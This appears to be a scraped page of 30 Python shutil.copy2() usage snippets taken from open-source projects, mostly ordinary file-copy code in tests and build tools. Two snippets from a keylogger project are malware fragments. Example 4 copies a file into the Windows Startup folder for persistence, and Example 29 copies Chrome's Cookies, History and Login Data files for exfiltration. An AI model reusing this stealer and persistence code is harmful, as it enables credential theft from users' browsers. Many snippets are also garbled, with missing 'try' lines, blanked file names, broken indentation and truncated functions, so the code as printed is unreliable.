Python shutil.copy2() Examples

The following are 30 code examples for showing how to use shutil.copy2(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module shutil , or try the search function .

Example 1
Project: macops   Author: google   File:    License: Apache License 2.0 6 votes vote down vote up
def SyncShadowHash(username, shadow_name):
  """Sync the password hash for the shadow admin account with the user's."""
  shadow_guid = UserAttribute(shadow_name, 'GeneratedUID')
  user_hash = '/var/db/shadow/hash/%s' % username
  if not os.path.exists(user_hash):
    user_guid = UserAttribute(username, 'GeneratedUID')[0]
    user_hash = '/var/db/shadow/hash/%s' % user_guid
  shadow_hash = '/var/db/shadow/hash/%s' % shadow_guid[0]

    if (os.path.exists(shadow_hash)
        and os.path.isfile(shadow_hash)
        and filecmp.cmp(user_hash, shadow_hash, shallow=False)):
      # everything is as should be
      shutil.copy2(user_hash, shadow_hash)
  except (IOError, OSError), err:
    raise DSException('Error creating the shadow admin hash for '
                      '%s-admin: %s' % (username, err)) 
Example 2
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 6 votes vote down vote up
def test_copy_recurse_overwrite():
    # Check that copy_recurse won't overwrite pre-existing libs
    with InTemporaryDirectory():
        # Get some fixed up libraries to play with
        test_lib, liba, libb, libc = _copy_fixpath(
            [TEST_LIB, LIBA, LIBB, LIBC], 'libcopy')
        # Filter system libs

        def filt_func(libname):
            return not libname.startswith('/usr/lib')
        # libb depends on liba
        shutil.copy2(libb, 'subtree')
        # If liba is already present, barf
        shutil.copy2(liba, 'subtree')
        assert_raises(DelocationError, copy_recurse, 'subtree', filt_func)
        # Works if liba not present
        os.unlink(pjoin('subtree', 'liba.dylib'))
        copy_recurse('subtree', filt_func) 
Example 3
Project: EXOSIMS   Author: dsavransky   File:    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def moveDictFiles(myDict,folderName):
    """ This Script copies the OB.csv files to the makeSimilar_Template folder
    originalFileNames = list()
    copiedFileNames = list()
    for k, v in myDict.iteritems():
        if type(v) is dict:
            tmpOrigList, tmpCopiedList = moveDictFiles(v,folderName)
            if not tmpOrigList == list():
                if os.path.isfile(v):#Is a file that is located locally
                    fname = 'auto_' + folderName + v
                    shutil.copy2('./' + v,'./' + folderName + '/' + fname) #Here we copy the file to the run directory
    return originalFileNames, copiedFileNames 
Example 4
Project: Radium   Author: mehulj94   File:    License: Apache License 2.0 6 votes vote down vote up
def copytostartup():
        originalfilename = ""  #This name should be equal to the name of exe/py that you create. Currently the name of this file is
        coppiedfilename = ''    #The file will be copied to startup folder by this name
        copytodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
        copyfromdir = currentdir + "\\" + originalfilename

        filesindir = os.listdir(copytodir)

        if coppiedfilename not in filesindir:
                shutil.copy2(copyfromdir, copytodir + coppiedfilename)
            except Exception as e:
                print e

    except Exception as e:
        print e

    return True

#Function to list directories content upto 3 level 
Example 5
def get_torrent2http_binary():
    binary = "torrent2http%s" % (PLATFORM["os"] == "windows" and ".exe" or "")

    binary_dir = get_binary_dir()
    binary_path = os.path.join(binary_dir, binary)
    platform = PLATFORM.copy()
    if platform["os"] == "darwin": # 64 bits anyway on Darwin
        platform["arch"] = "x64"
    elif platform["os"] == "windows": # 32 bits anyway on Windows
        platform["arch"] = "x86"

    default_binary_dir = os.path.join(RESOURCES_PATH, "bin", "%(os)s_%(arch)s" % platform)
    default_binary_path = os.path.join(default_binary_dir, binary)

    # On Android, we need to copy torrent2http to ext4, since the sdcard is noexec
    platform = PLATFORM.copy()
    if platform["os"] == "android":
        android_binary_dir = get_binary_dir()
        android_binary_path = os.path.join(android_binary_dir, binary)
        if not os.path.exists(android_binary_path) or os.path.getsize(android_binary_path) != os.path.getsize(default_binary_path):
            import shutil
            shutil.copy2(default_binary_path, android_binary_path)
        binary_path = android_binary_path
        binary_dir = android_binary_dir
    return binary_dir, ensure_exec_perms(binary_path) 
Example 6
Project: dpAutoRigSystem   Author: nilouco   File:    License: GNU General Public License v2.0 6 votes vote down vote up
def keepJsonFilesWhenUpdate(self, currentDir, tempUpdateDir, *args):
        """ Check in given folder if we have custom json files and keep then when we install a new update.
            It will just check if there are user created json files, and copy them to temporary extracted update folder.
            So when the install overwrite all files, they will be copied (restored) again.
        newUpdateList = []
        # list all new json files:
        for newRoot, newDirectories, newFiles in os.walk(tempUpdateDir):
            for newItem in newFiles:
                if newItem.endswith('.json'):
        # check if some current json file is a custom file created by user to copy it to new update directory in order to avoid overwrite it:
        for currentRoot, currentDirectories, currentFiles in os.walk(currentDir):
            for currentItem in currentFiles:
                if currentItem.endswith('.json'):
                    if not currentItem in newUpdateList:
                        # found custom file, then copy it to keep when install the new update
                        shutil.copy2(os.path.join(currentRoot, currentItem), tempUpdateDir) 
Example 7
Project: OP_Manager   Author: adwuard   File:    License: MIT License 6 votes vote down vote up
def copytree(src, dst, symlinks=False, ignore=shutil.ignore_patterns('.*', '_*')):
    Copy Entire Folder
    :param src: source path
    :param dst: destination path
    :param symlinks: optional
    :param ignore: pass shutil.ignore_patterns('.*', '_*')
    for item in os.listdir(src):
        s = os.path.join(src, item)
        d = os.path.join(dst, item)
        if os.path.isdir(s):
            shutil.copytree(s, d, symlinks, ignore)
            shutil.copy2(s, d) 
Example 8
Project: release-bot   Author: user-cont   File:    License: GNU General Public License v3.0 6 votes vote down vote up
def pypi(self, tmpdir):
        conf = Configuration()
        path = str(tmpdir)
        src = Path(__file__).parent / "src/rlsbot-test"
        shutil.copy2(str(src / ""), path)
        shutil.copy2(str(src / ""), path)
        self.run_cmd("git init .", work_directory=str(tmpdir))
        set_git_credentials(str(tmpdir), "Release Bot", "")
        self.run_cmd("git add .", work_directory=str(tmpdir))
        self.run_cmd("git commit -m 'initial commit'", work_directory=str(tmpdir))
        git_repo = Git(str(tmpdir), conf)
        pypi = PyPi(configuration, git_repo)
         .replace_with(lambda x: None))
        return pypi 
Example 9
Project: sysadmin-tools   Author: jose-delarosa   File:    License: Apache License 2.0 6 votes vote down vote up
def createuser(fn, ln, user, group, homedir):
   # Create backups
   ts = strftime("%Y.%m.%d %H:%M:%S")
   shutil.copy2(pasfile, pasfile + "." + ts)
   shutil.copy2(shafile, shafile + "." + ts)
   uid = getuid(user)
   s = ' '.join(["useradd -c \"%s %s\" -m -d %s " % (fn, ln, homedir),
             "-u %s -g %s %s 1> /dev/null 2>&1" % (uid, group, user)])
   result =, shell=True)
   # Failure?
   if not result == 0:
      print red + "Error in creating user %s" % user + end
      os.remove(pasfile + "." + ts)
      os.remove(shafile + "." + ts)
   else: print green + "Created user %s" % user + end
   return result 
Example 10
Project: picoCTF   Author: picoCTF   File:    License: MIT License 6 votes vote down vote up
def install_user_service(service_file, socket_file):
    Installs the service file and socket file into the xinetd
    service directory, sets the service to start on boot, and
    starts the service now.

        service_file: The path to the systemd service file to install
        socket_file: The path to the systemd socket file to install

    if service_file is None:
    service_name = os.path.basename(service_file)

    logger.debug("...Installing user service '%s'.", service_name)

    # copy service file
    service_path = os.path.join(XINETD_SERVICE_PATH, service_name)
    shutil.copy2(service_file, service_path) 
Example 11
Project: Obfuscapk   Author: ClaudiuGeorgiu   File:    License: MIT License 6 votes vote down vote up
def tmp_demo_apk_v10_rebuild_path(tmp_path) -> str:
    Return a path to a valid demo apk file generated with Apktool (different path for
    each test, but the apk file is the same). This can be useful to test signing and
    source = (
            "test_resources", "v1.0", "com.obfuscapk.demo.v1.0-rebuild.apk"
    destination = tmp_path.joinpath("com.obfuscapk.demo.v1.0-rebuild.apk")
    destination = shutil.copy2(source, destination)
    return str(destination) 
Example 12
Project: meddle   Author: glmcdona   File:    License: MIT License 6 votes vote down vote up
def refilemessages(self, list, tofolder, keepsequences=0):
        """Refile one or more messages -- may raise os.error.
        'tofolder' is an open folder object."""
        errors = []
        refiled = {}
        for n in list:
            ton = tofolder.getlast() + 1
            path = self.getmessagefilename(n)
            topath = tofolder.getmessagefilename(ton)
                os.rename(path, topath)
            except os.error:
                # Try copying
                    shutil.copy2(path, topath)
                except (IOError, os.error), msg:
                    except os.error:
            refiled[n] = ton 
Example 13
Project: meddle   Author: glmcdona   File:    License: MIT License 6 votes vote down vote up
def copymessage(self, n, tofolder, ton):
        """Copy one message over a specific destination message,
        which may or may not already exist."""
        path = self.getmessagefilename(n)
        # Open it to check that it exists
        f = open(path)
        del f
        topath = tofolder.getmessagefilename(ton)
        backuptopath = tofolder.getmessagefilename(',%d' % ton)
            os.rename(topath, backuptopath)
        except os.error:
        ok = 0
            shutil.copy2(path, topath)
            ok = 1
            if not ok:
                except os.error:
Example 14
Project: basset-ios   Author: Polidea   File:    License: MIT License 6 votes vote down vote up
def test_dont_reconvert_old_files_test(self):
        converter = Converter()
        os.chdir(os.path.join(self.converter_tests_resource_path, "dont_reconvert_old_files_test"))
        converter.input_dir = "Assets"
        converter.output_dir = self.converter_output_tests_resource_path


        sha1_of_generated_files = []
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))

        shutil.copy2(os.path.join(converter.input_dir, "test-01.eps"), os.path.join(converter.input_dir, "test-02.eps"))

        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))

        self.assertEqual(sha1_of_generated_files[0], sha1_of_generated_files[2])
        self.assertNotEqual(sha1_of_generated_files[1], sha1_of_generated_files[3]) 
Example 15
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _copy_fixpath(files, directory):
    new_fnames = []
    for fname in files:
        shutil.copy2(fname, directory)
        new_fname = pjoin(directory, basename(fname))
        for name in get_install_names(fname):
            if name.startswith('lib'):
                set_install_name(new_fname, name, pjoin(directory, name))
    return new_fnames 
Example 16
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _copy_to(fname, directory, new_base):
    new_name = pjoin(directory, new_base)
    shutil.copy2(fname, new_name)
    return new_name 
Example 17
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def test_change_install_name():
    # Test ability to change install names in library
    libb_names = get_install_names(LIBB)
    with InTemporaryDirectory() as tmpdir:
        libfoo = pjoin(tmpdir, 'libfoo.dylib')
        shutil.copy2(LIBB, libfoo)
        assert_equal(get_install_names(libfoo), libb_names)
        set_install_name(libfoo, 'liba.dylib', 'libbar.dylib')
                     ('libbar.dylib',) + libb_names[1:])
        # If the name not found, raise an error
                      set_install_name, libfoo, 'liba.dylib', 'libpho.dylib') 
Example 18
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def test_set_install_id():
    # Test ability to change install id in library
    liba_id = get_install_id(LIBA)
    with InTemporaryDirectory() as tmpdir:
        libfoo = pjoin(tmpdir, 'libfoo.dylib')
        shutil.copy2(LIBA, libfoo)
        assert_equal(get_install_id(libfoo), liba_id)
        set_install_id(libfoo, 'libbar.dylib')
        assert_equal(get_install_id(libfoo), 'libbar.dylib')
    # If no install id, raise error (unlike install_name_tool)
    assert_raises(InstallNameError, set_install_id, TEST_LIB, 'libbof.dylib') 
Example 19
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _copy_libs(lib_files, out_path):
    copied = []
    if not exists(out_path):
    for in_fname in lib_files:
        out_fname = pjoin(out_path, basename(in_fname))
        shutil.copy2(in_fname, out_fname)
    return copied 
Example 20
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def test_fix_pure_python():
    # Test fixing a pure python package gives no change
    with InTemporaryDirectory():
        shutil.copy2(PURE_WHEEL, 'wheels')
        wheel_name = pjoin('wheels', basename(PURE_WHEEL))
        assert_equal(delocate_wheel(wheel_name), {})
        zip2dir(wheel_name, 'pure_pkg')
        assert_true(exists(pjoin('pure_pkg', 'fakepkg2')))
        assert_false(exists(pjoin('pure_pkg', 'fakepkg2', '.dylibs'))) 
Example 21
Project: delocate   Author: matthew-brett   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _fixed_wheel(out_path):
    wheel_base = basename(PLAT_WHEEL)
    with InGivenDirectory(out_path):
        zip2dir(PLAT_WHEEL, '_plat_pkg')
        if not exists('_libs'):
        shutil.copy2(STRAY_LIB, '_libs')
        stray_lib = pjoin(abspath(realpath('_libs')), basename(STRAY_LIB))
        requiring = pjoin('_plat_pkg', 'fakepkg1', 'subpkg', '')
        old_lib = set(get_install_names(requiring)).difference(EXT_LIBS).pop()
        set_install_name(requiring, old_lib, stray_lib)
        dir2zip('_plat_pkg', wheel_base)
    return pjoin(out_path, wheel_base), stray_lib 
Example 22
Project: fine-lm   Author: akzaidi   File:    License: MIT License 5 votes vote down vote up
def main(_):
  # pylint: disable=unused-variable
  model_dir = os.path.expanduser(FLAGS.model_dir)
  translations_dir = os.path.expanduser(FLAGS.translations_dir)
  source = os.path.expanduser(FLAGS.source)
  translated_base_file = os.path.join(translations_dir, FLAGS.problem)

  # Copy flags.txt with the original time, so t2t-bleu can report correct
  # relative time.
  flags_path = os.path.join(translations_dir, FLAGS.problem + "-flags.txt")
  if not os.path.exists(flags_path):
    shutil.copy2(os.path.join(model_dir, "flags.txt"), flags_path)

  locals_and_flags = {"FLAGS": FLAGS}
  for model in bleu_hook.stepfiles_iterator(model_dir, FLAGS.wait_minutes,
                                            FLAGS.min_steps):"Translating " + model.filename)
    out_file = translated_base_file + "-" + str(model.steps)
    if os.path.exists(out_file): + " already exists, so skipping it.")
    else:"Translating " + out_file)
      params = (
          "--t2t_usr_dir={FLAGS.t2t_usr_dir} --output_dir={model_dir} "
          "--data_dir={FLAGS.data_dir} --problem={FLAGS.problem} "
          "--decode_hparams=beam_size={FLAGS.beam_size},alpha={FLAGS.alpha} "
          "--model={FLAGS.model} --hparams_set={FLAGS.hparams_set} "
          "--checkpoint_path={model.filename} --decode_from_file={source} "
          "--decode_to_file={out_file} --keep_timestamp"
      command = FLAGS.decoder_command.format(**locals())"Running:\n" + command)
  # pylint: enable=unused-variable 
Example 23
Project: glazier   Author: google   File:    License: Apache License 2.0 5 votes vote down vote up
def Run(self):
      src = self._args[0]
      dst = self._args[1]
    except IndexError:
      raise ActionError('Unable to determine source and destination from %s.' %
      path = os.path.dirname(dst)
      shutil.copy2(src, dst)'Copying: %s to %s', src, dst)
    except (shutil.Error, IOError) as e:
      raise ActionError('Unable to copy %s to %s: %s' % (src, dst, str(e))) 
Example 24
Project: oscrypto   Author: wbond   File:    License: MIT License 5 votes vote down vote up
def run(self):
        egg_info_path = os.path.join(
            '%s.egg-info' % TEST_PACKAGE_NAME
        if not os.path.exists(egg_info_path):
            os.path.join(TESTS_ROOT, 'LICENSE'),
            os.path.join(egg_info_path, 'LICENSE')
Example 25
Project: oscrypto   Author: wbond   File:    License: MIT License 5 votes vote down vote up
def run(self):
        egg_info_path = os.path.join(
            '%s.egg-info' % PACKAGE_NAME
        if not os.path.exists(egg_info_path):
            os.path.join(PACKAGE_ROOT, 'LICENSE'),
            os.path.join(egg_info_path, 'LICENSE')
Example 26
Project: qtsass   Author: spyder-ide   File:    License: MIT License 5 votes vote down vote up
def test_qtwatcher(tmpdir):
    """Test QtWatcher implementation."""
    # Constructing a QApplication will cause the QtWatcher constructed
    # below to use a Signal to dispatch callbacks.
    from qtsass.watchers.qt import QApplication

    qt_app = QApplication.instance()
    if not qt_app:
        qt_app = QApplication([])

    watch_dir = tmpdir.join('src').strpath
    shutil.copy2(example('dummy.scss'), watch_dir)
    input = tmpdir.join('src/dummy.scss').strpath
    output = tmpdir.join('build/dummy.css').strpath
    output_exists = lambda: exists(output)

    c = CallCounter()
    w = QtWatcher(
        args=(input, output),
    # We connect a counter directly to the Watcher's Qt Signal in order to
    # verify that the Watcher is actually using a Qt Signal.

    if not await_condition(output_exists, qt_app=qt_app):
        assert False, 'Output file not created...'
    assert c.count == 1

    # Stop watcher
Example 27
Project: fusesoc   Author: olofk   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _checkout(self, local_dir):
        url = self.config.get("url")"Downloading...")
        user_agent = self.config.get("user-agent")
        if not self.config.get("verify_cert", True):
            import ssl

            ssl._create_default_https_context = ssl._create_unverified_context

        if user_agent and sys.version_info[0] >= 3:
            opener = urllib.build_opener()
            opener.addheaders = [("User-agent", user_agent)]
            (filename, headers) = urllib.urlretrieve(url)
        except (URLError, HTTPError) as e:
            raise RuntimeError("Failed to download '{}'. '{}'".format(url, e.reason))

        filetype = self.config.get("filetype")
        if filetype == "tar":
            t =
        elif filetype == "zip":
            with zipfile.ZipFile(filename, "r") as z:
        elif filetype == "simple":
            _filename = url.rsplit("/", 1)[1]
            shutil.copy2(filename, os.path.join(local_dir, _filename))
            raise RuntimeError(
                "Unknown file type '" + filetype + "' in [provider] section"
Example 28
Project: fusesoc   Author: olofk   File:    License: BSD 2-Clause "Simplified" License 5 votes vote down vote up
def export(self, dst_dir, flags={}):
        if os.path.exists(dst_dir):

        src_files = [f["name"] for f in self.get_files(flags)]
        if self.vpi and flags["tool"] in ["icarus", "modelsim", "rivierapro"]:
            src_files += [ for f in self.vpi.src_files + self.vpi.include_files]
        for section in self.get_scripts(dst_dir, flags).values():
            for script in section:

        self._debug("Exporting {}".format(str(src_files)))

        dirs = list(set(map(os.path.dirname, src_files)))
        for d in dirs:
            if not os.path.exists(os.path.join(dst_dir, d)):
                os.makedirs(os.path.join(dst_dir, d))

        for f in src_files:
            if not os.path.isabs(f):
                if os.path.exists(os.path.join(self.core_root, f)):
                        os.path.join(self.core_root, f), os.path.join(dst_dir, f)
                elif os.path.exists(os.path.join(self.files_root, f)):
                        os.path.join(self.files_root, f), os.path.join(dst_dir, f)
                    raise RuntimeError(
                        "Cannot find %s in :\n\t%s\n\t%s"
                        % (f, self.files_root, self.core_root)
Example 29
Project: Radium   Author: mehulj94   File:    License: Apache License 2.0 5 votes vote down vote up
def cookiestealer():
    cookiepath = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default'

    cookiefile = 'Cookies'
    historyfile = 'History'
    LoginDatafile = "Login Data"

    copycookie = cookiepath + "\\" + cookiefile
    copyhistory = cookiepath + "\\" + historyfile
    copyLoginData = cookiepath + "\\" + LoginDatafile

    filesindir = os.listdir(path_to_cookies)

    if copycookie not in filesindir:
            shutil.copy2(copycookie, path_to_cookies)

    if copyhistory not in filesindir:
            shutil.copy2(copyhistory, path_to_cookies)

    if copyLoginData not in filesindir:
            shutil.copy2(copyLoginData, path_to_cookies)

    return True

#Function to move all the files that are to be sent via email to one place 
Example 30
Project: misp42splunk   Author: remg427   File:    License: GNU Lesser General Public License v3.0 5 votes vote down vote up
def main():
    dirname = os.path.dirname(__file__)
    shutil.copy2(os.path.join(dirname, ''), os.path.join(dirname, ''))
    with open(os.path.join(dirname, ''), 'r') as f:
        lines = f.readlines()

    parse_start, parse_end = get_source_range(lines, 'parsedebug')
    parseopt_start, parseopt_end = get_source_range(lines, 'parseopt')
    parseopt_notrack_start, parseopt_notrack_end = get_source_range(lines, 'parseopt-notrack')

    # Get the original source
    orig_lines = lines[parse_start:parse_end]

    # Filter the DEBUG sections out
    parseopt_lines = filter_section(orig_lines, 'DEBUG')

    # Filter the TRACKING sections out
    parseopt_notrack_lines = filter_section(parseopt_lines, 'TRACKING')

    # Replace the parser source sections with updated versions
    lines[parseopt_notrack_start:parseopt_notrack_end] = parseopt_notrack_lines
    lines[parseopt_start:parseopt_end] = parseopt_lines

    lines = [line.rstrip()+'\n' for line in lines]
    with open(os.path.join(dirname, ''), 'w') as f: